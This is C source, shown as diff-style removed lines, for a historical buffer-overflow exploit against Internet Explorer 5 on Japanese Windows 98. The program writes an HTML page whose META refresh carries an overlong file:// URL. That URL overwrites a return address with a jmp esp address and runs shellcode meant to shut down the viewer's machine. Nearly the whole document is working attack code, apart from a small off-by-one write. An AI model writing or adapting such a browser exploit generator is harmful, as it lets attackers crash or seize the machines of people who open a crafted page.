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- /*=========================================================================
- Microsoft IE5 for Windows98 exploit
- The Shadow Penguin Security (http://shadowpenguin.backsection.net)
- Written by UNYUN (shadowpenguin@backsection.net)
- =========================================================================
- */
-
- #include <stdio.h>
- #include <windows.h>
-
- #define MAXBUF 1000
- #define RETADR 53
-
- /*
- jmp esp (FF E4) code is stored in this area.
- You must change this address for non-Japanese Windows98
- */
- #define EIP 0xbfb75a35
-
- unsigned char exploit_code[200]={
- 0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53,
- 0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3,
- 0x00
- };
-
- main(int argc,char *argv[])
- {
- FILE *fp;
- unsigned int ip;
- unsigned char buf[MAXBUF];
-
- if (argc<2){
- printf("usage %s output_htmlfile\n",argv[0]);
- exit(1);
- }
- if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;
- fprintf(fp,"<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0;URL=file://test/");
-
- memset(buf,0x41,MAXBUF);
- ip=EIP;
- buf[RETADR-1]=0x7f;
- buf[RETADR ]=ip&0xff;
- buf[RETADR+1]=(ip>>8)&0xff;
- buf[RETADR+2]=(ip>>16)&0xff;
- buf[RETADR+3]=( ip>>24)&0xff;
- memcpy(buf+80,exploit_code,strlen(exploit_code));
- buf[MAXBUF]=0;
- fprintf(fp,"%s/\">\n<HTML><B>",buf);
- fprintf(fp,"10 seconds later, this machine will be shut down.</B><BR><BR>");
- fprintf(fp,"If you are using IE5 for Japanese Windows98, ");
- fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.<BR>");
- fprintf(fp,"</HTML>\n");
- fclose(fp);
- printf("%s created.\n",argv[1]);
- return FALSE;
- }
-